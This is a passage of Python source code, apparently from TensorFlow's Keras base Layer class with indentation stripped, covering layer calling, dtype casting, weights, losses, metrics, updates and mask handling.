dtype = self._compute_dtype
if dtype is None:
input_dtypes = [s.dtype for s in nest.flatten(input_signature)]
# Default behavior when self.dtype is None, is to use the first input's
dtype = input_dtypes[0]
return nest.map_structure(
lambda s: tensor_spec.TensorSpec(dtype=dtype, shape=s),
output_shape)
@base_layer_utils.default
def compute_mask(self, inputs, mask=None):
if not self.supports_masking:
if any(m is not None for m in nest.flatten(mask)):
raise TypeError('Layer ' + self.name + ' does not support masking, '
'but was passed an input_mask: ' + str(mask))
return None
return mask
def __call__(self, inputs, *args, **kwargs):
call_context = base_layer_utils.call_context()
input_list = nest.flatten(inputs)
build_graph = tf_utils.are_all_symbolic_tensors(input_list)
if any(isinstance(x, (np.ndarray, float, int)) for x in input_list):
def _convert_non_tensor(x):
# `SparseTensors` can't be converted to `Tensor`.
if isinstance(x, (np.ndarray, float, int)):
return ops.convert_to_tensor(x)
return x
inputs = nest.map_structure(_convert_non_tensor, inputs)
input_list = nest.flatten(inputs)
mask_arg_passed_by_framework = False
input_masks = self._collect_input_masks(inputs, args, kwargs)
if (self._expects_mask_arg and input_masks is not None and
not self._call_arg_was_passed('mask', args, kwargs)):
mask_arg_passed_by_framework = True
kwargs['mask'] = input_masks
training_arg_passed_by_framework = False
# Priority 1: `training` was explicitly passed.
if self._call_arg_was_passed('training', args, kwargs):
training_value = self._get_call_arg_value('training', args, kwargs)
if not self._expects_training_arg:
kwargs.pop('training')
else:
training_value = None
# Priority 2: `training` was passed to a parent layer.
if call_context.training is not None:
training_value = call_context.training
# Priority 3a: `learning_phase()` has been set.
elif backend.global_learning_phase_is_set():
training_value = backend.learning_phase()
# Priority 3b: Pass the `learning_phase()` if in the Keras FuncGraph.
elif build_graph:
with backend.get_graph().as_default():
if base_layer_utils.is_in_keras_graph():
training_value = backend.learning_phase()
if self._expects_training_arg and training_value is not None:
# Force the training_value to be bool type which matches to the contract
# for layer/model call args.
if tensor_util.is_tensor(training_value):
training_value = math_ops.cast(training_value, dtypes.bool)
else:
training_value = bool(training_value)
kwargs['training'] = training_value
training_arg_passed_by_framework = True
# Only create Keras history if at least one tensor originates from a
# `keras.Input`. Otherwise this Layer may be being used outside the Keras
# framework.
if build_graph and base_layer_utils.needs_keras_history(inputs):
base_layer_utils.create_keras_history(inputs)
# Clear eager losses on top level model call.
# We are clearing the losses only on the top level model call and not on
# every layer/model call because layer/model may be reused.
if (base_layer_utils.is_in_eager_or_tf_function() and
not call_context.in_call):
self._clear_losses()
with call_context.enter(self, inputs, build_graph, training_value):
# Check input assumptions set after layer building, e.g. input shape.
if build_graph:
# Symbolic execution on symbolic tensors. We will attempt to build
# the corresponding TF subgraph inside `backend.get_graph()`
# TODO(reedwm): We should assert input compatibility after the inputs
# are casted, not before.
input_spec.assert_input_compatibility(self.input_spec, inputs,
self.name)
if (any(isinstance(x, ragged_tensor.RaggedTensor) for x in input_list)
and self._supports_ragged_inputs is False): # pylint: disable=g-bool-id-comparison
raise ValueError('Layer %s does not support RaggedTensors as input. '
'Inputs received: %s. You can try converting your '
'input to an uniform tensor.' % (self.name, inputs))
graph = backend.get_graph()
with graph.as_default(), backend.name_scope(self._name_scope()):
# Build layer if applicable (if the `build` method has been
# overridden).
self._maybe_build(inputs)
cast_inputs = self._maybe_cast_inputs(inputs)
# Wrapping `call` function in autograph to allow for dynamic control
# flow and control dependencies in call. We are limiting this to
# subclassed layers as autograph is strictly needed only for
# subclassed layers and models.
# tf_convert will respect the value of autograph setting in the
# enclosing tf.function, if any.
if (base_layer_utils.is_subclassed(self) and
not base_layer_utils.from_saved_model(self)):
call_fn = autograph.tf_convert(
self.call, ag_ctx.control_status_ctx())
else:
call_fn = self.call
if not self.dynamic:
try:
with base_layer_utils.autocast_context_manager(
self._compute_dtype):
# Add auto_control_deps in V2 when they are not already added by
# a `tf.function`.
if (ops.executing_eagerly_outside_functions() and
not base_layer_utils.is_in_eager_or_tf_function()):
with auto_control_deps.AutomaticControlDependencies() as acd:
outputs = call_fn(cast_inputs, *args, **kwargs)
# Wrap Tensors in `outputs` in `tf.identity` to avoid
# circular dependencies.
outputs = base_layer_utils.mark_as_return(outputs, acd)
else:
outputs = call_fn(cast_inputs, *args, **kwargs)
except errors.OperatorNotAllowedInGraphError as e:
raise TypeError('You are attempting to use Python control '
'flow in a layer that was not declared to be '
'dynamic. Pass `dynamic=True` to the class '
'constructor.\nEncountered error:\n"""\n' +
str(e) + '\n"""')
else:
# We will use static shape inference to return symbolic tensors
# matching the specifications of the layer outputs.
# Since `self.dynamic` is True, we will never attempt to
# run the underlying TF graph (which is disconnected).
# TODO(fchollet): consider py_func as an alternative, which
# would enable us to run the underlying graph if needed.
outputs = self._symbolic_call(inputs)
if outputs is None:
raise ValueError('A layer\'s `call` method should return a '
'Tensor or a list of Tensors, not None '
'(layer: ' + self.name + ').')
if base_layer_utils.have_all_keras_metadata(inputs):
if training_arg_passed_by_framework:
kwargs.pop('training')
if mask_arg_passed_by_framework:
kwargs.pop('mask')
inputs, outputs = self._set_connectivity_metadata_(
inputs, outputs, args, kwargs)
self._handle_activity_regularization(inputs, outputs)
self._set_mask_metadata(inputs, outputs, input_masks)
if hasattr(self, '_set_inputs') and not self.inputs:
self._set_inputs(inputs, outputs)
else:
with backend.name_scope(self._name_scope()):
self._maybe_build(inputs)
cast_inputs = self._maybe_cast_inputs(inputs)
with base_layer_utils.autocast_context_manager(
self._compute_dtype):
outputs = self.call(cast_inputs, *args, **kwargs)
self._handle_activity_regularization(inputs, outputs)
self._set_mask_metadata(inputs, outputs, input_masks)
return outputs
@property
def dtype(self):
return self._dtype_policy.variable_dtype
@property
def name(self):
return self._name
@property
@trackable_layer_utils.cache_recursive_attribute('dynamic')
def dynamic(self):
return self._dynamic
@property
@doc_controls.do_not_generate_docs
@trackable_layer_utils.cache_recursive_attribute('stateful')
def stateful(self):
return self._stateful
@stateful.setter
@trackable_layer_utils.invalidate_recursive_cache('stateful')
def stateful(self, value):
self._stateful = value
@property
def trainable(self):
return self._trainable
@trainable.setter
def trainable(self, value):
self._trainable = value
for layer in getattr(self, '_layers', []):
layer.trainable = value
@property
def activity_regularizer(self):
return self._activity_regularizer
@activity_regularizer.setter
def activity_regularizer(self, regularizer):
self._activity_regularizer = regularizer
@property
def input_spec(self):
return self._input_spec
@input_spec.setter
@trackable.no_automatic_dependency_tracking
def input_spec(self, value):
for v in nest.flatten(value):
if v is not None and not isinstance(v, InputSpec):
raise TypeError('Layer input_spec must be an instance of InputSpec. '
'Got: {}'.format(v))
self._input_spec = value
@property
def trainable_weights(self):
if self.trainable:
children_weights = self._gather_children_attribute('trainable_weights')
return self._dedup_weights(self._trainable_weights + children_weights)
else:
return []
@property
def non_trainable_weights(self):
if self.trainable:
children_weights = self._gather_children_attribute(
'non_trainable_weights')
non_trainable_weights = self._non_trainable_weights + children_weights
else:
children_weights = self._gather_children_attribute('weights')
non_trainable_weights = (
self._trainable_weights + self._non_trainable_weights +
children_weights)
return self._dedup_weights(non_trainable_weights)
@property
def weights(self):
return self.trainable_weights + self.non_trainable_weights
@property
def updates(self):
collected_updates = []
all_layers = self._gather_unique_layers()
with backend.get_graph().as_default():
for layer in all_layers:
if not layer.trainable and not layer.stateful:
continue
for u in layer._updates:
if callable(u):
try:
u = u()
except errors.InaccessibleTensorError:
base_layer_utils.check_graph_consistency(
method='add_update', force_raise=True)
raise
base_layer_utils.check_graph_consistency(u, method='add_update')
collected_updates.append(u)
return collected_updates
@property
def losses(self):
collected_losses = []
all_layers = self._gather_unique_layers()
for layer in all_layers:
if layer._eager_losses:
collected_losses.extend(layer._eager_losses)
else:
collected_losses.extend(layer._losses)
for regularizer in layer._callable_losses:
loss_tensor = regularizer()
if loss_tensor is not None:
collected_losses.append(loss_tensor)
return collected_losses
@doc_controls.for_subclass_implementers
def add_loss(self, losses, inputs=None):
def _tag_unconditional(loss):
if callable(loss):
with base_layer_utils.autocast_context_manager(None):
loss = loss()
if loss is None:
return None
if not tensor_util.is_tensor(loss):
loss = ops.convert_to_tensor(loss, dtype=backend.floatx())
loss._unconditional_loss = (inputs is None)
return loss
losses = nest.flatten(losses)
callable_losses = []
eager_losses = []
symbolic_losses = []
for loss in losses:
if callable(loss):
callable_losses.append(functools.partial(_tag_unconditional, loss))
continue
if loss is None:
continue
if not tensor_util.is_tensor(loss):
loss = ops.convert_to_tensor(loss, dtype=backend.floatx())
if (tf_utils.is_symbolic_tensor(loss) and
not base_layer_utils.is_in_tf_function()):
symbolic_losses.append(_tag_unconditional(loss))
base_layer_utils.check_graph_consistency(loss, method='add_loss')
elif tensor_util.is_tensor(loss):
eager_losses.append(_tag_unconditional(loss))
self._callable_losses.extend(callable_losses)
in_call_context = base_layer_utils.call_context().in_call
if eager_losses and not in_call_context:
raise ValueError(
'Expected a symbolic Tensors or a callable for the loss value. '
'Please wrap your loss computation in a zero argument `lambda`.')
self._eager_losses.extend(eager_losses)
if in_call_context:
for symbolic_loss in symbolic_losses:
self._losses.append(symbolic_loss)
else:
for symbolic_loss in symbolic_losses:
if getattr(self, '_is_graph_network', False):
self._graph_network_add_loss(symbolic_loss)
else:
self._losses.append(symbolic_loss)
@trackable.no_automatic_dependency_tracking
def _clear_losses(self):
self._eager_losses = []
if hasattr(self, '_layers'):
for layer in trackable_layer_utils.filter_empty_layer_containers(
self._layers):
layer._clear_losses()
@property
def metrics(self):
collected_metrics = []
all_layers = self._gather_unique_layers()
for layer in all_layers:
collected_metrics.extend(layer._metrics)
return collected_metrics
@doc_controls.for_subclass_implementers
def add_metric(self, value, aggregation=None, name=None):
if aggregation is not None and aggregation != 'mean':
raise ValueError(
'We currently support only `mean` sample-wise metric aggregation. '
'You provided aggregation=`%s`' % aggregation)
from_metric_obj = hasattr(value, '_metric_obj')
is_symbolic = tf_utils.is_symbolic_tensor(value)
in_call_context = base_layer_utils.call_context().in_call
if name is None and not from_metric_obj:
# Eg. `self.add_metric(math_ops.reduce_sum(x), aggregation='mean')`
# In eager mode, we use metric name to lookup a metric. Without a name,
# a new Mean metric wrapper will be created on every model/layer call.
# So, we raise an error when no name is provided.
# We will do the same for symbolic mode for consistency although a name
# will be generated if no name is provided.
# We will not raise this error in the foll use case for the sake of
# consistency as name in provided in the metric constructor.
# mean = metrics.Mean(name='my_metric')
# model.add_metric(mean(outputs))
raise ValueError('Please provide a name for your metric like '
'`self.add_metric(tf.reduce_sum(inputs), '
'name=\'mean_activation\', aggregation=\'mean\')`')
elif from_metric_obj:
name = value._metric_obj.name
if in_call_context:
# TF Function path should take the eager path.
if is_symbolic and not base_layer_utils.is_in_tf_function():
self._symbolic_add_metric(value, aggregation, name)
else:
self._eager_add_metric(value, aggregation, name)
else:
if not is_symbolic:
raise ValueError('Expected a symbolic Tensor for the metric value, '
'received: ' + str(value))
# Possible a metric was added in a Layer's `build`.
if not getattr(self, '_is_graph_network', False):
with backend.get_graph().as_default():
self._symbolic_add_metric(value, aggregation, name)
return
if from_metric_obj:
raise ValueError('Using the result of calling a `Metric` object '
'when calling `add_metric` on a Functional '
'Model is not supported. Please pass the '
'Tensor to monitor directly.')
self._graph_network_add_metric(value, aggregation, name)
@deprecation.deprecated_args(None, '`inputs` is now automatically inferred',
'inputs')
@doc_controls.for_subclass_implementers
def add_update(self, updates, inputs=None):
call_context = base_layer_utils.call_context()
if (ds_context.has_strategy() and
ds_context.in_cross_replica_context() and
not call_context.saving):
# TODO(b/142574744): Relax this restriction so that metrics/variables
# created outside of a strategy scope can be updated in the cross-replica
# context.
if (ops.executing_eagerly_outside_functions() and
not base_layer_utils.is_in_keras_graph()):
raise RuntimeError( # pylint: disable=g-doc-exception
'`add_update` was called in a cross-replica context. This is not '
'expected. If you require this feature, please file an issue.')
return
updates = generic_utils.to_list(updates)
# All updates can be run immediately in Eager or in a tf.function.
if base_layer_utils.is_in_eager_or_tf_function():
if not call_context.frozen:
for update in updates:
if callable(update):
update()
return
if call_context.in_call:
relevant_inputs = call_context.inputs
else:
inbound_nodes = getattr(self, '_inbound_nodes', [])
relevant_inputs = [node.input_tensors for node in inbound_nodes]
def process_update(x):
if callable(x):
update = lambda: process_update(x())
if not ops.executing_eagerly_outside_functions():
# In V1 mode, call the callable right away and process. This is needed
# for TPU strategy.
return update()
elif isinstance(x, ops.Operation):
update = x
elif hasattr(x, 'op'):
update = x.op
else:
update = ops.convert_to_tensor(x)
reachable = tf_utils.get_reachable_from_inputs(relevant_inputs, [update])
update._unconditional_update = update not in reachable
return update
updates = [process_update(x) for x in updates]
# Non-callable Updates are run automatically inside `call` in V2, so
# they do not need to be tracked later.
if ops.executing_eagerly_outside_functions() and call_context.in_call:
updates = [u for u in updates if callable(u)]
self._updates.extend(updates)
def set_weights(self, weights):
params = self.weights
expected_num_weights = 0
for param in params:
if isinstance(param, base_layer_utils.TrackableWeightHandler):
expected_num_weights += param.num_tensors
else:
expected_num_weights += 1
if expected_num_weights != len(weights):
raise ValueError(
'You called `set_weights(weights)` on layer "%s" '
'with a weight list of length %s, but the layer was '
'expecting %s weights. Provided weights: %s...' %
(self.name, len(weights), expected_num_weights, str(weights)[:50]))
weight_index = 0
weight_value_tuples = []
for param in params:
if isinstance(param, base_layer_utils.TrackableWeightHandler):
num_tensors = param.num_tensors
tensors = weights[weight_index:weight_index + num_tensors]
param.set_weights(tensors)
weight_index += num_tensors
else:
weight = weights[weight_index]
ref_shape = param.shape
if not ref_shape.is_compatible_with(weight.shape):
raise ValueError(
'Layer weight shape %s not compatible with provided weight '
'shape %s' % (ref_shape, weight.shape))
weight_value_tuples.append((param, weight))
weight_index += 1
backend.batch_set_value(weight_value_tuples)
def get_weights(self):
weights = self.weights
output_weights = []
for weight in weights:
if isinstance(weight, base_layer_utils.TrackableWeightHandler):
output_weights.extend(weight.get_tensors())
else:
output_weights.append(weight)
return backend.batch_get_value(output_weights)
def get_updates_for(self, inputs):
if inputs is None:
# Requesting unconditional updates.
return [u for u in self.updates if u._unconditional_update]
# Requesting input-conditional updates.
updates = [u for u in self.updates if not u._unconditional_update]
inputs = nest.flatten(inputs)
reachable = tf_utils.get_reachable_from_inputs(inputs, updates)
return [u for u in updates if u in reachable]
def get_losses_for(self, inputs):
if inputs is None:
# Requesting unconditional losses.
return [l for l in self.losses if l._unconditional_loss]
# Requesting input-conditional losses.
losses = [l for l in self.losses if not l._unconditional_loss]
inputs = nest.flatten(inputs)
reachable = tf_utils.get_reachable_from_inputs(inputs, losses)
return [l for l in losses if l in reachable]
def get_input_mask_at(self, node_index):
inputs = self.get_input_at(node_index)
if isinstance(inputs, list):
return [getattr(x, '_keras_mask', None) for x in inputs]
else:
return getattr(inputs, '_keras_mask', None)
def get_output_mask_at(self, node_index):
output = self.get_output_at(node_index)
if isinstance(output, list):
return [getattr(x, '_keras_mask', None) for x in output]
else:
return getattr(output, '_keras_mask', None)
@property
def input_mask(self):
inputs = self.input
if isinstance(inputs, list):
return [getattr(x, '_keras_mask', None) for x in inputs]
else:
return getattr(inputs, '_keras_mask', None)
@property
def output_mask(self):
output = self.output
if isinstance(output, list):
return [getattr(x, '_keras_mask', None) for x in output]
else:
return getattr(output, '_keras_mask', None)
def get_input_shape_at(self, node_index):
return self._get_node_attribute_at_index(node_index, 'input_shapes',
'input shape')
def get_output_shape_at(self, node_index):
return self._get_node_attribute_at_index(node_index, 'output_shapes',
'output shape')
def get_input_at(self, node_index):
return self._get_node_attribute_at_index(node_index, 'input_tensors',
'input')
def get_output_at(self, node_index):
return self._get_node_attribute_at_index(node_index, 'output_tensors',
'output')
@property
def input(self):
if not self._inbound_nodes:
raise AttributeError('Layer ' + self.name +
' is not connected, no input to return.')
return self._get_node_attribute_at_index(0, 'input_tensors', 'input')
@property
def output(self):
if not self._inbound_nodes:
raise AttributeError('Layer ' + self.name + ' has no inbound nodes.')
return self._get_node_attribute_at_index(0, 'output_tensors', 'output')
@property
def input_shape(self):
if not self._inbound_nodes:
raise AttributeError('The layer has never been called '
'and thus has no defined input shape.')
all_input_shapes = set(
[str(node.input_shapes) for node in self._inbound_nodes])
if len(all_input_shapes) == 1:
return self._inbound_nodes[0].input_shapes
else:
raise AttributeError('The layer "' + str(self.name) +
' has multiple inbound nodes, '
'with different input shapes. Hence '
'the notion of "input shape" is '
'ill-defined for the layer. '
'Use `get_input_shape_at(node_index)` '
'instead.')
def count_params(self):
if not self.built:
if getattr(self, '_is_graph_network', False):
with tf_utils.maybe_init_scope(self):
self._maybe_build(self.inputs)
else:
raise ValueError('You tried to call `count_params` on ' + self.name +
', but the layer isn\'t built. '
'You can build it manually via: `' + self.name +
'.build(batch_input_shape)`.')
return layer_utils.count_params(self.weights)
@property
def output_shape(self):
if not self._inbound_nodes:
raise AttributeError('The layer has never been called '
'and thus has no defined output shape.')
all_output_shapes = set(
[str(node.output_shapes) for node in self._inbound_nodes])
if len(all_output_shapes) == 1:
return self._inbound_nodes[0].output_shapes
else:
raise AttributeError('The layer "%s"'
' has multiple inbound nodes, '
'with different output shapes. Hence '
'the notion of "output shape" is '
'ill-defined for the layer. '
'Use `get_output_shape_at(node_index)` '
'instead.' % self.name)
@property
@doc_controls.do_not_doc_inheritable
def inbound_nodes(self):
return self._inbound_nodes
@property
@doc_controls.do_not_doc_inheritable
def outbound_nodes(self):
return self._outbound_nodes
##############################################################################
# Methods & attributes below are public aliases of other methods. #
##############################################################################
@deprecation.deprecated(
date=None, instructions='Please use `layer.__call__` method instead.')
@doc_controls.do_not_doc_inheritable
def apply(self, inputs, *args, **kwargs):
return self.__call__(inputs, *args, **kwargs)
@deprecation.deprecated(
date=None, instructions='Please use `layer.add_weight` method instead.')
@doc_controls.do_not_doc_inheritable
def add_variable(self, *args, **kwargs):
return self.add_weight(*args, **kwargs)
@property
def variables(self):
return self.weights
@property
def trainable_variables(self):
return self.trainable_weights
@property
def non_trainable_variables(self):
return self.non_trainable_weights
##############################################################################
# Methods & attributes below are all private and only used by the framework. #
##############################################################################
def _set_dtype_policy(self, dtype):
if isinstance(dtype, policy.Policy):
self._dtype_policy = dtype
elif isinstance(dtype, dict):
self._dtype_policy = policy.deserialize(dtype)
elif dtype:
self._dtype_policy = policy.Policy(dtypes.as_dtype(dtype).name)
else:
self._dtype_policy = policy.global_policy()
# This has no impact on the layer behavior, and is only used for printing
# warnings.
self._dtype_defaulted_to_floatx = (not dtype and
policy.policy_defaults_to_floatx())
# TODO(reedwm): Expose this property?
@property
def _compute_dtype(self):
return self._dtype_policy.compute_dtype
def _maybe_cast_inputs(self, inputs):
compute_dtype = self._compute_dtype
if (self._autocast and compute_dtype and
dtypes.as_dtype(compute_dtype).is_floating):
def f(x):
cast_types = (ops.Tensor, sparse_tensor.SparseTensor,
ragged_tensor.RaggedTensor)
if (isinstance(x, cast_types) and x.dtype.is_floating and
x.dtype.base_dtype.name != compute_dtype):
if self._dtype_defaulted_to_floatx:
self._warn_about_input_casting(x.dtype.base_dtype)
return math_ops.cast(x, compute_dtype)
elif isinstance(x, tensor_spec.TensorSpec) and x.dtype.is_floating:
# Inputs may be TensorSpecs when this function is called from
# model._set_inputs.
return tensor_spec.TensorSpec(x.shape, compute_dtype, x.name)
else:
return x
return nest.map_structure(f, inputs)
else:
return inputs
def _warn_about_input_casting(self, input_dtype):
# self._already_warned_about_input_casting is only retrieved or set in this
# function.
already_warned = getattr(self, '_already_warned_about_input_casting', False)
if not already_warned:
tf_logging.warn(
"Layer {self.name} is casting an input tensor from dtype "
"{input_dtype} to the layer's dtype of {layer_dtype}, which is new "
"behavior in TensorFlow 2. The layer has dtype {layer_dtype} "
"because it's dtype defaults to floatx.\n\n"
""
"If you intended to run this layer in {layer_dtype}, you can safely "
"ignore this warning. If in doubt, this warning is likely only an "
"issue if you are porting a TensorFlow 1.X model to TensorFlow 2.\n\n"
""
"To change all layers to have dtype {input_dtype} by default, call "
"`tf.keras.backend.set_floatx('{input_dtype}')`. To change just this "
"layer, pass dtype='{input_dtype}' to the layer constructor. If you "
"are the author of this layer, you can disable autocasting by "
"passing autocast=False to the base Layer constructor.\n".format(
self=self,
input_dtype=input_dtype.name,
layer_dtype=self._compute_dtype))
self._already_warned_about_input_casting = True
# _dtype used to be an attribute set in the constructor. We still expose it
# because some clients still use it.
# TODO(reedwm): Deprecate, then remove the _dtype property.
@property
def _dtype(self):
# This is equivalent to returning self.dtype . We do not return self.dtype
# as it would cause infinite recursion in a few subclasses, which override
# "dtype" to return self._dtype.
return self._dtype_policy.variable_dtype
@_dtype.setter
def _dtype(self, value):
value = dtypes.as_dtype(value).name
self._dtype_policy = policy.Policy(value)
def _name_scope(self):
return self.name
def _init_set_name(self, name, zero_based=True):
if not name:
self._name = backend.unique_object_name(
generic_utils.to_snake_case(self.__class__.__name__),
zero_based=zero_based)
else:
self._name = name
def _get_existing_metric(self, name=None):
match = [m for m in self._metrics if m.name == name]
if not match:
return
if len(match) > 1:
raise ValueError(
'Please provide different names for the metrics you have added. '
'We found {} metrics with the name: "{}"'.format(len(match), name))
return match[0]
def _eager_add_metric(self, value, aggregation=None, name=None):
# If the given metric is available in `metrics` list we just update state
# on it, otherwise we create a new metric instance and
# add it to the `metrics` list.
metric_obj = getattr(value, '_metric_obj', None)
if metric_obj:
name = metric_obj.name
match = self._get_existing_metric(name)
if match:
# Tensors that come from a Metric object already updated the Metric state.
if not metric_obj:
match(value)
return
if not metric_obj:
assert aggregation is not None
metric_obj, _ = base_layer_utils.create_mean_metric(value, name)
self._metrics.append(metric_obj)
def _symbolic_add_metric(self, value, aggregation=None, name=None):
base_layer_utils.check_graph_consistency(value, method='add_metric')
match = self._get_existing_metric(name)
if aggregation is None:
# Iterate over the metrics and check if the given metric exists already.
# This can happen when a metric instance is created in subclassed model
# layer `__init__` and we have tracked that instance already in
# model.__setattr__.
if match:
result_tensor = value
metric_obj = match
elif hasattr(value, '_metric_obj'):
# We track the instance using the metadata on the result tensor.
result_tensor = value
metric_obj = result_tensor._metric_obj
self._metrics.append(metric_obj)
else:
raise ValueError(
'We do not support adding an aggregated metric result tensor that '
'is not the output of a `tf.keras.metrics.Metric` metric instance. '
'Without having access to the metric instance we cannot reset the '
'state of a metric after every epoch during training. You can '
'create a `tf.keras.metrics.Metric` instance and pass the result '
'here or pass an un-aggregated result with `aggregation` parameter '
'set as `mean`. For example: `self.add_metric(tf.reduce_sum(inputs)'
', name=\'mean_activation\', aggregation=\'mean\')`')
else:
# If a non-aggregated tensor is given as input (ie. `aggregation` is
# explicitly set to `mean`), we wrap the tensor in `Mean` metric.
if match:
result_tensor = match(value)
metric_obj = match
else:
metric_obj, result_tensor = base_layer_utils.create_mean_metric(
value, name)
self._metrics.append(metric_obj)
def _handle_weight_regularization(self, name, variable, regularizer):
def _loss_for_variable(v):
with backend.name_scope(name + '/Regularizer'):
regularization = regularizer(v)
return regularization
if isinstance(variable, tf_variables.PartitionedVariable):
for v in variable:
self.add_loss(functools.partial(_loss_for_variable, v))
else:
self.add_loss(functools.partial(_loss_for_variable, variable))
def _handle_activity_regularization(self, inputs, outputs):
# Apply activity regularization.
# Note that it should be applied every time the layer creates a new
# output, since it is output-specific.
if self._activity_regularizer:
output_list = nest.flatten(outputs)
with backend.name_scope('ActivityRegularizer'):
for output in output_list:
activity_loss = self._activity_regularizer(output)
batch_size = math_ops.cast(
array_ops.shape(output)[0], activity_loss.dtype)
# Make activity regularization strength batch-agnostic.
mean_activity_loss = activity_loss / batch_size
base_layer_utils.check_graph_consistency(
mean_activity_loss, method='activity_regularizer')
self.add_loss(mean_activity_loss, inputs=inputs)
def _set_mask_metadata(self, inputs, outputs, previous_mask):
flat_outputs = nest.flatten(outputs)
mask_already_computed = (
getattr(self, '_compute_output_and_mask_jointly', False) or
all(getattr(x, '_keras_mask', None) is not None for x in flat_outputs))
# Only compute the mask if the Layer explicitly supports masking or has
# overridden `compute_mask`.
should_compute_mask = (
hasattr(self, 'compute_mask') and
(self.supports_masking or
not getattr(self.compute_mask, '_is_default', False)))
if mask_already_computed:
flat_masks = [getattr(x, '_keras_mask', None) for x in flat_outputs]
elif not should_compute_mask:
flat_masks = [None for _ in flat_outputs]
else:
output_masks = self.compute_mask(inputs, previous_mask)
# `compute_mask` can return a single `None` even when a Layer
# has multiple outputs.
if output_masks is None:
flat_masks = [None for _ in flat_outputs]
else:
flat_masks = nest.flatten(output_masks)
for output, mask in zip(flat_outputs, flat_masks):
try:
output._keras_mask = mask
except AttributeError:
# C Type such as np.ndarray.
pass
if tf_utils.are_all_symbolic_tensors(flat_outputs):
for output in flat_outputs:
if getattr(output, '_keras_mask', None) is not None:
# Do not track masks for `TensorFlowOpLayer` construction.
output._keras_mask._keras_history_checked = True
def _collect_input_masks(self, inputs, args, kwargs):
if self._call_arg_was_passed('mask', args, kwargs):
return self._get_call_arg_value('mask', args, kwargs)
if not self._should_compute_mask:
return None
input_masks = nest.map_structure(lambda t: getattr(t, '_keras_mask', None),
inputs)
if generic_utils.is_all_none(input_masks):
return None
return input_masks
def _call_arg_was_passed(self, arg_name, args, kwargs, inputs_in_args=False):
if arg_name in kwargs:
return True
call_fn_args = self._call_fn_args
if not inputs_in_args:
# Ignore `inputs` arg.
call_fn_args = call_fn_args[1:]
if arg_name in dict(zip(call_fn_args, args)):
return True
return False
def _get_call_arg_value(self, arg_name, args, kwargs, inputs_in_args=False):
if arg_name in kwargs:
return kwargs[arg_name]
call_fn_args = self._call_fn_args
if not inputs_in_args:
# Ignore `inputs` arg.
call_fn_args = call_fn_args[1:]
args_dict = dict(zip(call_fn_args, args))
return args_dict[arg_name]
def _set_connectivity_metadata_(self, inputs, outputs, args, kwargs):
# If the layer returns tensors from its inputs, unmodified,
# we copy them to avoid loss of tensor metadata.
output_ls = nest.flatten(outputs)
inputs_ls = object_identity.ObjectIdentitySet(nest.flatten(inputs))
output_ls_copy = []
for x in output_ls:
if x in inputs_ls:
with backend.name_scope(self.name):
x = array_ops.identity(x)
output_ls_copy.append(x)
outputs = nest.pack_sequence_as(outputs, output_ls_copy)
# Ignore `inputs` arg.
arguments = dict(zip(self._call_fn_args[1:], args))
arguments.update(kwargs)
# Add an inbound node to the layer, so it can keep track of this call.
# This updates the layer history of the output tensor(s).
self._add_inbound_node(
input_tensors=inputs, output_tensors=outputs, arguments=arguments)
return inputs, outputs
def _add_inbound_node(self,
input_tensors,
output_tensors,
arguments=None):
inbound_layers = nest.map_structure(lambda t: t._keras_history.layer,
input_tensors)
node_indices = nest.map_structure(lambda t: t._keras_history.node_index,
input_tensors)
tensor_indices = nest.map_structure(lambda t: t._keras_history.tensor_index,
input_tensors)
# Create node, add it to inbound nodes.
node_module.Node(
self,
inbound_layers=inbound_layers,
node_indices=node_indices,
tensor_indices=tensor_indices,
input_tensors=input_tensors,
output_tensors=output_tensors,
arguments=arguments)
# Update tensor history metadata.
# The metadata attribute consists of
# 1) a layer instance
# 2) a node index for the layer
# 3) a tensor index for the node.
# The allows layer reuse (multiple nodes per layer) and multi-output
# or multi-input layers (e.g. a layer can return multiple tensors,
# and each can be sent to a different layer).
for i, tensor in enumerate(nest.flatten(output_tensors)):
tensor._keras_history = KerasHistory(self,
len(self._inbound_nodes) - 1, i) # pylint: disable=protected-access
def _get_node_attribute_at_index(self, node_index, attr, attr_name):
if not self._inbound_nodes:
raise RuntimeError('The layer has never been called '
'and thus has no defined ' + attr_name + '.')
if not len(self._inbound_nodes) > node_index:
raise ValueError('Asked to get ' + attr_name + ' at node ' +
str(node_index) + ', but the layer has only ' +
str(len(self._inbound_nodes)) + ' inbound nodes.')
values = getattr(self._inbound_nodes[node_index], attr)
if isinstance(values, list) and len(values) == 1:
return values[0]
else:
return values
def _maybe_build(self, inputs):
# Check input assumptions set before layer building, e.g. input rank.
if not self.built:
input_spec.assert_input_compatibility(
self.input_spec, inputs, self.name)
input_list = nest.flatten(inputs)
if input_list and self._dtype_policy.compute_dtype is None:
try:
dtype = input_list[0].dtype.base_dtype.name
except AttributeError:
pass
else:
self._dtype_policy = policy.Policy(dtype)
input_shapes = None
if all(hasattr(x, 'shape') for x in input_list):
input_shapes = nest.map_structure(lambda x: x.shape, inputs)
# Only call `build` if the user has manually overridden the build method.
if not hasattr(self.build, '_is_default'):
# Any setup work performed only once should happen in an `init_scope`
# to avoid creating symbolic Tensors that will later pollute any eager
# operations.
with tf_utils.maybe_init_scope(self):
self.build(input_shapes)
# We must set self.built since user defined build functions are not
# constrained to set self.built.
self.built = True
# Optionally load weight values specified at layer instantiation.
if getattr(self, '_initial_weights', None) is not None:
self.set_weights(self._initial_weights)
self._initial_weights = None
def _symbolic_call(self, inputs):
input_shapes = nest.map_structure(lambda x: x.shape, inputs)
output_shapes = self.compute_output_shape(input_shapes)
def _make_placeholder_like(shape):
ph = backend.placeholder(shape=shape, dtype=self.dtype)
ph._keras_mask = None
return ph
return nest.map_structure(_make_placeholder_like, output_shapes)
def _get_trainable_state(self):
layers = trackable_layer_utils.filter_empty_layer_containers(self._layers)
# Keep track of each top-level layers' `trainable` as well as the
# state of all of its sublayers.
trainable_state = {self: self.trainable}
for layer in layers:
trainable_state.update(layer._get_trainable_state())
return trainable_state
def _set_trainable_state(self, trainable_state):
layers = trackable_layer_utils.filter_empty_layer_containers(self._layers)
if self in trainable_state:
self.trainable = trainable_state[self]
for layer in layers:
layer._set_trainable_state(trainable_state)
@property
def _obj_reference_counts(self):
self._maybe_create_attribute('_obj_reference_counts_dict',
object_identity.ObjectIdentityDictionary())
return self._obj_reference_counts_dict
@trackable.no_automatic_dependency_tracking
def _maybe_create_attribute(self, name, default_value):
if not hasattr(self, name):
super(Layer, self).__setattr__(name, default_value)
def __delattr__(self, name):
# For any super.__delattr__() call, we will directly use the implementation
# in Trackable and skip the behavior in AutoTrackable. The Layer was
# originally use Trackable as base class, the change of using Module as base
